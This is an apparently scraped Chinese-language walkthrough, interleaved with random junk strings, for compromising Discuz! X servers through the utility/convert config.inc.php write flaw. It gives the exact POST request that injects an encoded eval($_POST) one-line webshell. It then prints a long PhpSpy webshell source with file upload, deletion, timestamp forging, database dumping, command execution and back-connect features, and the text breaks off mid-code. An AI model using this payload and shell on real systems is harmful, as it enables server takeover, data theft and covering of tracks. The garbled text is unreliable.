|
攻击思路:
y6 P. }9 a! }( S# Y想要拿下一台主机A的权限:/ B: Y, A `3 k6 l8 S
1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
; @0 a$ a d- M9 j9 Z# X" O# V2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
( o3 i' g2 p- @1 @; K! m8 u3、传上去后,得到apache用户普通权限,再提权成root
) v# p; [( x! o; s概述:
6 t# ]$ }1 I8 y& t$ d这突破在一个DZ X系列自带的转换工具里面。7 y v8 {$ c: I; e3 e* m
漏洞路径:utility / convert / data / config.inc.php
( g7 M t# _ r" T漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
# {' ?$ t M2 y% p; Q# f触发突破过程:6 g# |- z/ i- [+ I# ]8 F
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php
: O. }( Z% @; F0 j2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
( F) D- g9 G P/ s7 p攻击过程:# a: Z6 L# K% e8 W5 V# ]
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/ T0 `2 I( f% e& @
9 ~ @/ ?2 ?6 h: J. y. F

, N4 }5 O _: r6 u6 i- x2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
' r7 c4 P; ]7 k) G 3 ~* Q0 h% H1 Q1 y0 ^
8、通过中国蚁剑上传大码9 Q5 M, Q7 i7 T: _% @+ R P* q

; |# }: W% @* N) Y& G
6 }- H) W0 x% L! s3 K6 ?+ W10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php- F- U- w5 x0 |3 p* W5 d" s2 c
- - p$ ^+ M& Z. ^; Y
- /*****************************************************************************& s0 j' @) e4 N) n' c
- ! Q. p$ M( t# w: @
- ===================== 请误用于非法用途,造成一切后果与本人无关。====================
7 G0 {% B7 D* z4 w. U9 M - 3 ]7 c" l& L* w0 |# Z, o' A% _9 G
- ====
; f7 o7 K, R8 I* {% r! b1 Q -
) y- j% M' q9 p* |# I - # x, [) ~ o& a4 {% T! u% I
- *****************************************************************************/6 A# Q; ~% w; q0 H$ L' E
-
5 T4 @1 b! S& ]% m - error_reporting(7);
, S% O) `5 R/ P! l8 g( v - @set_magic_quotes_runtime(0);
5 z) ?0 [8 u! g7 p! @/ x - ob_start();
( } s5 C) |5 M7 e4 \ - $mtime = explode(' ', microtime());! k- R! C9 X, {
- $starttime = $mtime[1] + $mtime[0];
0 y; Q% s/ N8 i8 S - define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
6 d0 u4 B9 x& W4 e5 i - //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
1 Q7 @; Z3 E$ B" X; b" f - define('IS_WIN', DIRECTORY_SEPARATOR == '\\');" B- o1 b- }: }' ?* {! p* [
- define('IS_COM', class_exists('COM') ? 1 : 0 );
4 `6 I3 d- ^9 R4 X - define('IS_GPC', get_magic_quotes_gpc());: I4 N6 F n! H& o
- $dis_func = get_cfg_var('disable_functions');
5 j$ b% s! |0 U: C$ v0 C @ - define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );- n# H6 i) r! M6 P. }
- @set_time_limit(0);: i" M0 D& N0 c5 k, K* L
-
1 d/ C' ^, e0 f" E( z6 j# a - foreach(array('_GET','_POST') as $_request) {
, d" `% Y5 w% R' s ? - foreach($$_request as $_key => $_value) {9 B+ {, H' r% v& U" R @
- if ($_key{0} != '_') {$ u" H; I- H7 G
- if (IS_GPC) { ~+ R1 b7 O# F- u7 e: K5 ?, B7 {! Z
- $_value = s_array($_value);* a2 b5 t* o* E: O
- }
% |+ | w. \/ m - $$_key = $_value;0 Y: q9 m. W! ^- K! }% k5 Y3 ]
- }
% L) _" d4 P& P$ @( h - }
" U3 M1 i& n: _; b, `0 L$ N - }
* o# w" k, `; Z- W8 G -
& n7 A: f+ x8 D2 ]" L0 b( G - /*===================== 程序配置 =====================*/6 ?8 p, L7 t* H# k
- $admin = array();" \& d% q; q3 C& s. P+ k5 q( @+ {
- // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
2 o. M9 B0 B' M; | - $admin['check'] = true;
# f$ y) }; n: R( R5 V4 s. ?- T - // 如果需要密码验证,请修改登陆密码
8 I# U* P2 I% k9 j# b+ { - $admin['pass'] = 'xuegod';& g+ `$ g$ Y" F% v" h+ q2 q
- + ~) s* D- Q1 F6 D5 O" t$ s7 `
- //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
; |+ S3 _' N! N4 } - // cookie 前缀& T) _, [2 B6 A
- $admin['cookiepre'] = '';
4 t! d4 G) s* p! c - // cookie 作用域' m% ~0 ]1 D3 R" U$ k! e
- $admin['cookiedomain'] = '';
! f& h, z @* [( C - // cookie 作用路径
8 O! O: K$ i$ y7 A5 ? - $admin['cookiepath'] = '/';
' A, ~9 V8 |! x1 r* a: V5 k; ^ - // cookie 有效期
\! C, h, \$ h - $admin['cookielife'] = 86400;
5 I0 q- C; R9 A8 b! W, { - /*===================== 配置结束 =====================*/" `" W1 c2 c T1 p) g; X
-
; U* @! [" O" J' B& g6 r - if ($charset == 'utf8') {. N, R% ` Z3 P
- header("content-Type: text/html; charset=utf-8");9 b: A; U8 f3 q. d. _
- } elseif ($charset == 'big5') {0 D/ J" H8 Z5 s# u$ @9 `
- header("content-Type: text/html; charset=big5");( Z9 L+ n0 T' l2 j* V$ X
- } elseif ($charset == 'gbk') {
0 @% k$ P2 b, p4 F* N# a. Y - header("content-Type: text/html; charset=gbk");7 d& |7 v% \/ v* ]8 ]. R
- } elseif ($charset == 'latin1') {
& m: u. w6 c4 L8 ^3 Z/ m$ E0 k - header("content-Type: text/html; charset=iso-8859-2");
/ [& l( w$ w7 c! T# {2 K; M- { - }
* ]# A; h7 G! s! h/ l! v - + Z9 K( {$ S; w3 e" c/ G% \
- $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
2 o9 R, w$ y- F6 z! O - $timestamp = time();1 f! w" U* `7 J, Q7 ], q
-
0 O1 r; P, a* _* Q - /*===================== 身份验证 =====================*/
8 {7 ]7 j9 O: e! u! | - if ($action == "logout") {. e' w) E) A! ? ^4 J$ u
- scookie('phpspypass', '', -86400 * 365);
7 h" E5 `9 O, n, \) e - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');9 ]! P' [* q- W2 y
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');+ L+ s, s( k0 i& N1 X
- exit;2 }8 B5 ]* h" x, O; [' i& y' @6 a8 V
- }
! Z+ o& e# L9 w# C8 J; E - if($admin['check']) { G5 [" @# X6 V, `
- if ($doing == 'login') {
4 q; c" K% n: M, {8 B0 { - if ($admin['pass'] == $password) {, g, r5 F) r, C8 M8 W
- scookie('phpspypass', $password);3 @8 q, ~$ }; P" d7 f- i
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');% x7 e5 E; x2 U' U0 n
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
$ T/ s$ ]4 \( H. }! H( G1 B - exit;
: M4 g) l1 \8 P7 B2 _" H, f* I - }
' t3 B9 F9 ~1 p - }% w8 S8 i( Y- [
- if ($_COOKIE['phpspypass']) {
) K9 o8 H, a+ `2 ^ - if ($_COOKIE['phpspypass'] != $admin['pass']) { f; ]0 ~- W& o4 X% m& o* E: N
- loginpage();/ |( ]3 N3 |* R9 s8 k8 [
- }
5 K) X) f+ l! d" M! j - } else {
- A* x. a- b, G# Y4 _( y- B - loginpage();: M8 [, V$ a1 ^
- }
! \2 U1 |- O& k9 @4 w - }( q. _1 o+ Q0 l5 `: H
- /*===================== 验证结束 =====================*/5 s0 G8 Z( I- p% ?: d9 Q" ?
-
/ Y+ W0 _& s/ f4 a* d - $errmsg = '';
1 o. f9 b. e0 `6 e - 2 U- D1 d9 H7 M+ ` a1 _
- // 查看PHPINFO
5 {, d" o( g! C, v% b k/ r - if ($action == 'phpinfo') {# [& o; N/ |3 b7 H& j: O4 K5 ]/ ~
- if (IS_PHPINFO) {
7 U, s6 q9 p5 J - phpinfo();! d- f2 N, a" q) r# I
- } else {& V) u; v9 b7 u) G. _4 F
- $errmsg = 'phpinfo() function has non-permissible';
- o5 y1 q0 }% u3 i' Y - }4 D6 _% w1 x2 O1 E1 P$ H
- }
" Q( L! e8 N" @' {9 ~8 d -
6 L/ F9 R$ N( X. S$ j - // 下载文件
; A- G8 B' k. r - if ($doing == 'downfile' && $thefile) {
7 R$ p! r8 B3 u" b: g- ]0 P: q - if (!@file_exists($thefile)) {
$ X0 c% H! f6 R; r- J1 u6 \ - $errmsg = 'The file you want Downloadable was nonexistent';8 _+ ]- N6 S' r
- } else {, G L4 h L. K" T, e, j# u5 ?# N
- $fileinfo = pathinfo($thefile);3 S( X" `; I) T
- header('Content-type: application/x-'.$fileinfo['extension']);
# w+ n; j$ j n) v! _ - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);; d, D( M9 M( m) o
- header('Content-Length: '.filesize($thefile));
$ u- X, e0 Z; |, M( I& x) K- f' w9 N - @readfile($thefile);
: z R6 B1 T+ S: P X; a$ ] - exit;7 \! O+ E. ~! N# v$ h! C
- }
3 h: x2 k4 c' z3 R. E8 ?5 c* ] - }. l" S7 V) u5 A# h8 `* _7 ?
- ! k! n' x6 W9 G. {1 j8 ]1 @; r
- // 直接下载备份数据库 L7 H( t( [% d
- if ($doing == 'backupmysql' && !$saveasfile) {
: C0 z: _8 X. f8 o, ]! i - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
5 T: V7 L( y/ I; j - $table = array_flip($table); m2 @$ ?, G w6 b$ J& s7 n8 J, e
- $result = q("SHOW tables"); B, ]% a" ?4 _0 _8 D) c& Q9 ], D
- if (!$result) p('<h2>'.mysql_error().'</h2>');
$ x7 }7 }' h+ B- c, O - $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');" m8 E: ^9 M1 A0 {% i' K4 i8 |/ C
- header('Content-type: application/unknown');7 _3 o( T& p4 U# ^/ V
- header('Content-Disposition: attachment; filename='.$filename);: Q7 I. }7 s5 p5 Y( W6 |2 }) E
- $mysqldata = '';' K' p }/ X. ]4 d
- while ($currow = mysql_fetch_array($result)) {. q* H/ m U4 K6 B" s, W; w5 e
- if (isset($table[$currow[0]])) {5 V0 c' W, M% A" n( \
- $mysqldata .= sqldumptable($currow[0]);
" @9 ?" W$ [) H - }
0 ?3 K' A7 o. l, j( V+ m% @ - }9 B& T8 O+ {8 F% I! ~
- mysql_close();
( K# u8 ]9 Q, W - exit;
# w+ F9 y/ P$ L* I! Q$ k8 p3 b - }+ H! B( d, [4 r# {
-
% y5 N! E$ _5 I# H6 ] - // 通过MYSQL下载文件
5 ]4 ~( n2 d1 S5 t8 O9 l - if($doing=='mysqldown'){
; S0 I! X% e! d5 f* f - if (!$dbname) {: ]4 P2 E5 S$ m. b- T, X2 B
- $errmsg = 'Please input dbname';
0 D' z9 P7 K- _( ?- W) u - } else {5 Z! y2 ~8 f m
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
! x6 w. g) d7 w _3 q) ` - if (!file_exists($mysqldlfile)) {1 j# ~) O# e+ T4 N7 i
- $errmsg = 'The file you want Downloadable was nonexistent';+ v/ b# C' b: g) d7 T! O; o
- } else {
4 p# H: A" v* M3 _3 J9 W& I - $result = q("select load_file('$mysqldlfile');");
) j) y6 x* L$ n, H& J, Q - if(!$result){9 Z; c" g; J4 r3 c4 U0 S/ q
- q("DROP TABLE IF EXISTS tmp_angel;");
, ~5 D; m H3 P a- q# H3 O0 F - q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");" h- \6 s( C: X4 c/ j
- //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
: R) ~4 U- U# X+ P0 Q9 T9 R% S - q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");/ @ @5 V0 c1 N B8 M( @
- $result = q("select content from tmp_angel");
% J8 L7 m+ Y" a# K8 t - q("DROP TABLE tmp_angel");% y6 Y6 O7 S1 Y& d
- }( h9 N6 s! v* c' r
- $row = @mysql_fetch_array($result);8 |7 @) z% A9 R b0 ^6 l4 g
- if (!$row) {
3 Z+ ~" Y8 j; z# d, S - $errmsg = 'Load file failed '.mysql_error();( J' f- l7 D, F3 M' ?; \& V
- } else {) y! A0 Q s8 [0 S! f3 S
- $fileinfo = pathinfo($mysqldlfile);+ w- }: @6 P8 m
- header('Content-type: application/x-'.$fileinfo['extension']);) z% k4 O+ _5 q$ N
- header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
1 G( }, k7 e I b - header("Accept-Length: ".strlen($row[0]));
2 h- g' N3 U' q - echo $row[0];2 ?; ]% j# d, P. ~0 A5 T" s6 I
- exit;
6 j! }2 P( l$ j/ w9 O' L \ - }
$ O1 J/ x& }# F; j- Y1 M$ x2 R - }9 @# L0 f3 x) D7 F7 W8 D
- }
7 G# l% G: a: u8 x5 L - }2 n, k8 H- k" _6 v. _
-
# l7 \4 K& X" r: u5 p! p - ?>1 V& K; x; d# U" R+ y
- <html>
1 H! N" C: h2 u b. o) H7 s+ h; V) s) u - <head>
4 G$ S1 T- D) l; L9 I - <meta http-equiv="Content-Type" content="text/html; charset=gbk">
9 z7 @6 W7 i/ Z6 I9 c0 w - <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>9 {' r! _4 t0 z/ O6 }9 h9 d, ]/ U
- <style type="text/css">) K# [1 n7 O! i$ [0 C' I8 F
- body,td{font: 12px Arial,Tahoma;line-height: 16px;}$ b) m: n* b1 B3 ^2 L7 w& F
- .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}8 j+ B7 w/ c7 |2 ?) e+ Y9 M! V
- .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
( L( Y2 H) g% s9 H - .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
. W/ Z$ d- T3 M* X - a {color: #00f;text-decoration:underline;}. w! l! S' y9 D& [6 X" X7 j4 H
- a:hover{color: #f00;text-decoration:none;}3 _2 x$ M! x- `3 D1 o* V, T# j/ z
- .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}. v& q7 W1 q3 i
- .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
1 N0 P `# |4 ~% \5 L4 {/ |& i - .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}6 a4 S" S( H/ J9 F. p* t5 w
- .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
2 I3 r. O- p/ i. z5 X - .head td span{font-weight:normal;}
6 H; I; x# B' d; P - form{margin:0;padding:0;}
5 g/ m1 u4 z1 J: {( x* ]2 M - h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
, C' u8 a" m) O - ul.info li{margin:0;color:#444;line-height:24px;height:24px;}7 S8 ~* k% \( \/ {# W) \6 [
- u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}: [- o5 R0 Y8 Y, o8 w8 @; d0 l4 i
- </style>3 i: o* k+ u& [ j
- <script type="text/javascript">, e, ]) m7 X; n. i
- function CheckAll(form) {
7 i7 C5 s7 Y: D - for(var i=0;i<form.elements.length;i++) {( Z$ K4 u* U% G9 x3 M
- var e = form.elements[i];4 \" H" v' _ V: U3 t
- if (e.name != 'chkall')
- F, N1 y7 S6 ?' n+ N0 z$ D - e.checked = form.chkall.checked;
7 l7 j8 M4 m. {3 _. u# X5 F3 i - }% w8 Y, A/ I0 }$ z& [, w
- }# p. Z/ ^7 T9 |6 b" s P" ]. K/ _
- function $(id) {" C4 q* I, J) z' Q: Z. {- n: _2 o
- return document.getElementById(id);
' E! M, X/ S5 b; z - }6 m* P3 x9 p1 m, E) O
- function goaction(act){1 t7 K4 E8 p! }4 W& [1 g: B
- $('goaction').action.value=act;' P, k2 F- u$ l; z$ P7 ~& m9 m5 @
- $('goaction').submit();# Q! I+ e. X6 a$ K
- }' C% A6 }2 W; M C6 \4 ^6 E
- </script>
4 X; r7 V0 _$ M q3 `! j7 @* P2 W - </head>1 _, U+ X% x- E% v. ]1 L# S
- <body style="margin:0;table-layout:fixed; word-break:break-all">
& L! W3 H" |4 R; g7 x* q% J: x) U - <table width="100%" border="0" cellpadding="0" cellspacing="0">
. u: ~' j& ]2 D4 |1 L$ {$ Z* t6 c - <tr class="head">
/ ~% o" D7 a" p' J* E3 D - <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>2 g( X x4 t2 A1 T3 F6 x3 Q: n' P
- </tr>
6 z {1 C% R. l& H) n$ a4 j, h - <tr class="alt1">) Z1 B" Y5 |8 g: F }
- <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
3 w- i7 c% F3 u8 b0 R( L - <a href="javascript:goaction('logout');">Logout</a> | : `' y$ i5 V8 I) }( E. u
- <a href="javascript:goaction('file');">File Manager</a> | 1 M4 z @+ t2 Z' e6 e
- <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
1 N% j2 M' d; q - <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | 7 ]6 T: {; |, ~
- <a href="javascript:goaction('shell');">Execute Command</a> |
7 F' i% d( p( G- P% [& Z& q - <a href="javascript:goaction('phpenv');">PHP Variable</a> |
6 i$ ], v, i. ? w - <a href="javascript:goaction('eval');">Eval PHP Code</a>
5 j6 F: v5 `& L) g0 F3 p/ M, x - <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
g2 k, u, C4 o! s) r# l - </td># ]& d) |0 i* v; n+ z" j. Q2 K H
- </tr>
0 ^; ]/ o/ y7 T8 V$ s# W ^ - </table>
; E: \/ Y: n8 R- A - <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
" d% N7 P1 d9 d9 O* F9 Y - <?php* B' z3 p2 ~; c' W/ O7 y9 a
- . L8 d. G. c: E9 x, u
- formhead(array('name'=>'goaction'));% _7 a A; l! e9 @" o
- makehide('action');
: T7 z7 f5 V" s( X. z" v& o - formfoot();& m! F( e0 W. q1 B6 H5 J
- 0 g( k! i# J) U6 u+ Z9 ]0 O
- $errmsg && m($errmsg);- Z2 n: S6 |) ~ A! F! O
-
# k6 |) M8 F0 s# w2 P' h/ Z - // 获取当前路径; s$ U5 F. u% `* O
- !$dir && $dir = '.';& T. c. ^) I* N! w1 C
- $nowpath = getPath(SA_ROOT, $dir);
2 o3 y: {; A, k ? G4 r' ` - if (substr($dir, -1) != '/') {
8 B4 _; d- s2 K- T) O - $dir = $dir.'/';
/ o9 H( k! R1 k - }5 C, c3 M: |% z6 c( u2 l
- $uedir = ue($dir);8 v" B7 R- x3 Y8 D" m+ [- W
- ' \+ P2 s+ t% _4 n( G$ X3 S2 t
- if (!$action || $action == 'file') {
: f3 f( M; u& p3 k+ u -
9 [7 Q- _! l; o, A: ? - // 判断读写情况
0 ~9 b- D5 F4 I - $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable'; |" X) D" L Y: \1 E, t1 j' s
- + [0 f1 Z |' A4 {" a0 ~
- // 删除目录* D* d9 U m. ]8 |/ s [" T
- if ($doing == 'deldir' && $thefile) {
* t& L! C2 _9 u8 | L - if (!file_exists($thefile)) {. p% n7 U% F; X5 G/ |
- m($thefile.' directory does not exist');7 j/ v1 h5 Z5 J1 I' C5 P3 C E6 ]
- } else {7 `& H2 ]% `. K% ?
- m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
! p* o8 F1 o8 o1 E, I3 E - }; S! C1 C8 @& N; h0 J, h
- }" r9 m# N4 F5 a; y) [
-
& A# @8 X, k( Z; l: a9 n$ Y - // 创建目录: {$ m' a! u/ [0 ]' B3 y. |- F- K* s
- elseif ($newdirname) {
5 ]# ?9 |. o8 C/ ]7 F! D - $mkdirs = $nowpath.$newdirname;# y3 B- z I% } a! r; g! S
- if (file_exists($mkdirs)) {; X+ o. ~2 J# v( H7 c% b
- m('Directory has already existed');
8 Z) l, f. V7 P a3 b - } else {
# h+ o. f- v" b, r - m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));5 C- ?, d/ [& {- O7 Q8 Y$ N
- @chmod($mkdirs,0777);
3 u7 W4 n1 B) Z& _$ n, y - }
! |5 X+ O+ t: J; K0 A% m4 | - } q7 b# e1 ~4 O. k" z. b) b
- : m: w" _2 T0 |* m+ g0 Z
- // 上传文件
' T8 k& N1 |) }$ L( J$ j' { - elseif ($doupfile) {
d& ^7 p8 u) T: y - m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));$ p0 P R( K; [- `
- }
! j& k% O: L* @+ k - 6 u. J$ z* t- g- ?/ v
- // 编辑文件
* l' [: ?4 V% ~( ? - elseif ($editfilename && $filecontent) {
2 o' }# O. U& Y0 l& o! ^ - $fp = @fopen($editfilename,'w');
* q$ D+ h$ t1 x: @) ? - m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));. R0 W! Y/ t$ [- Y/ Z" T
- @fclose($fp);
' B0 G( k6 L0 {) n% T3 K - }" z1 n0 a( z5 q! Q. d- x& y, ^
- 3 K1 d7 \ R$ y1 c0 B
- // 编辑文件属性$ J* c. p8 }* K$ Q; s7 E* V
- elseif ($pfile && $newperm) {
: V4 C4 Q; S3 t# h7 G - if (!file_exists($pfile)) {
$ r1 R/ h7 t6 V4 O* R4 W - m('The original file does not exist');' T* g& @& r2 `" u* R* }. F# I
- } else {
9 `0 b4 h0 @" p - $newperm = base_convert($newperm,8,10);6 k7 a, }- L& d' ^
- m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));. Z% m& o! ~4 `" D4 J4 t
- }
, T! W# I- R% _# V8 ^. @ - }
0 |2 i9 T4 \. c* w8 ~0 B -
; r* u# Y( ]$ g6 q - // 改名
( j2 l: n8 s( N9 V* D) C7 o - elseif ($oldname && $newfilename) {; o* _1 o* x/ h3 o
- $nname = $nowpath.$newfilename;1 X/ y! E2 i9 O% i! L6 T
- if (file_exists($nname) || !file_exists($oldname)) {8 \1 q3 W9 B# d8 G
- m($nname.' has already existed or original file does not exist');
8 Q% M. ~; c' t5 G7 f, l - } else {
7 k8 {$ M) V0 U+ `% p2 Y' l4 _ - m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
M# j& ]# X4 L - }
5 P& D% f3 |% m9 W+ [* u - }
e4 e; v; R* x -
6 K+ f2 H" B( _$ N5 z. m* c" i - // 复制文件
, C& H0 F: @8 Q8 J - elseif ($sname && $tofile) {
, S+ ~3 ^+ K2 F! A - if (file_exists($tofile) || !file_exists($sname)) {4 O R. l- j! o& V% H) g
- m('The goal file has already existed or original file does not exist');4 T ]; l* b- q
- } else {
2 o9 x3 i% E6 Y% k - m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));$ i: O3 m. w3 z
- }
5 Y" s* Q' g4 B - }
, q. j2 e# ]$ ?" u4 [, t -
5 a1 @: L. @/ V4 L$ Z9 B - // 克隆时间. s4 T" n) w: n; j* G
- elseif ($curfile && $tarfile) {
* T% g! V1 l* C6 j/ q+ y9 c - if (!@file_exists($curfile) || !@file_exists($tarfile)) {9 D6 s" D# D1 U$ I, q/ `% M
- m('The goal file has already existed or original file does not exist');
5 H( Y, J4 K- x! T3 U7 `; o - } else {
" q$ w1 U b- V* s/ K - $time = @filemtime($tarfile);
" @+ a. E5 h4 |) l4 m - m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
9 [; r" b$ ~9 T - }2 u, z% C% H9 T
- }4 S$ i. U* U* y5 S% c0 o+ R7 K' R* o
-
: M0 H3 l' e6 Q; o/ m; U - // 自定义时间
" [9 Z$ N9 N2 u& P6 l" V - elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {7 \ e+ V3 U) @& O) l& b
- if (!@file_exists($curfile)) {/ e; F1 ^3 A. s$ D
- m(basename($curfile).' does not exist');
3 E* g8 Z6 k4 j% v# M - } else { {" f/ \' R. |8 I1 R2 S
- $time = strtotime("$year-$month-$day $hour:$minute:$second");# V! Z8 C# g& _: ~7 i0 x
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));5 n9 P+ Z v$ A1 ]1 Y
- }
) f5 _5 f. ]# Y - }, d0 Z5 u) ]% n9 |
-
3 l" S: J* `6 O% |3 j) e. [, Y - // 打包下载6 _: O s4 @0 d* ^4 d7 A
- elseif($doing == 'downrar') {/ z9 T G2 x' G) d0 X& D/ q0 O b! [! J
- if ($dl) {' K' w$ v: I j) U1 h7 z D
- $dfiles='';
% P) @% c; A) z+ n6 [ - foreach ($dl as $filepath => $value) {! j- a9 |9 G' ~4 j& }7 Y
- $dfiles.=$filepath.',';
- `/ T, m5 v% K" o/ Y! s - }
/ c* x3 P3 |4 v, C' [5 S# N. ~, b - $dfiles=substr($dfiles,0,strlen($dfiles)-1);
: l% g. G1 r+ T D - $dl=explode(',',$dfiles);
! r# R/ p, q; }4 T, }, b- |" J - $zip=new PHPZip($dl);8 Y G& p+ \; S% H+ u2 s$ J3 K
- $code=$zip->out;+ U% i7 s9 C& v( i" h; B' I
- header('Content-type: application/octet-stream');
! u3 T2 o9 {2 r4 u& [8 i. ^/ d - header('Accept-Ranges: bytes');+ @# X- D, Q) C3 G) d( e' x
- header('Accept-Length: '.strlen($code)); t* W8 Y- R' V) t) K; {
- header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
z4 _( \% [# T) Y6 f6 j - echo $code;& {1 W/ o2 W, K4 c+ j
- exit;
" S4 {: O0 y$ F- e! g# H2 O7 g4 N: } - } else {
8 \0 p- l( i; N+ i' V7 u - m('Please select file(s)');
/ o7 p% n+ k( |5 h, G - }& X+ [! P+ a, f2 X) U1 {
- }
3 |& Z, h. j: u% j- { -
- D0 u4 _" K N( T; A - // 批量删除文件4 U. ~$ F% J3 { n4 P
- elseif($doing == 'delfiles') {
1 _ S& k7 q$ j* X - if ($dl) {5 T# R- ^/ W& r
- $dfiles='';
5 \' P# K% W$ ], A, v2 k& L - $succ = $fail = 0;
1 b. X' U9 P. G! ? - foreach ($dl as $filepath => $value) {' c. [ R$ q h/ P' s: N! S% O1 |
- if (@unlink($filepath)) {
- m$ N, j2 L0 o0 A0 {+ ~" Q - $succ++;3 P( n+ O$ @" K' O
- } else {
5 n" ^ U# ^; X8 t) I - $fail++;# z ^& p2 s9 E0 D1 I1 [7 o& i
- }
& G3 f! n. E# v Q" {$ G - }1 {3 p8 R8 j& H0 p/ V: P# j
- m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);9 g' x* A7 o8 Z
- } else {, h: Q' G# E5 E& W: b3 `4 u
- m('Please select file(s)');
3 ]1 Y. t9 I. o. \# \) h - }6 h9 R! j5 s" F1 `; @0 t
- } H1 i8 e1 T2 |
- ) V# d- i1 y$ Y
- //操作完毕6 a- [, l$ R4 S$ h1 T
- formhead(array('name'=>'createdir'));; X: ^' w' Q$ Y2 M- q! L
- makehide('newdirname');8 F' C+ h( p' L: c6 z1 Z+ N9 J
- makehide('dir',$nowpath);
5 c) D* T' |8 o# T! V; X - formfoot();; [+ R0 ?: r0 J7 U. ^0 u
- formhead(array('name'=>'fileperm'));
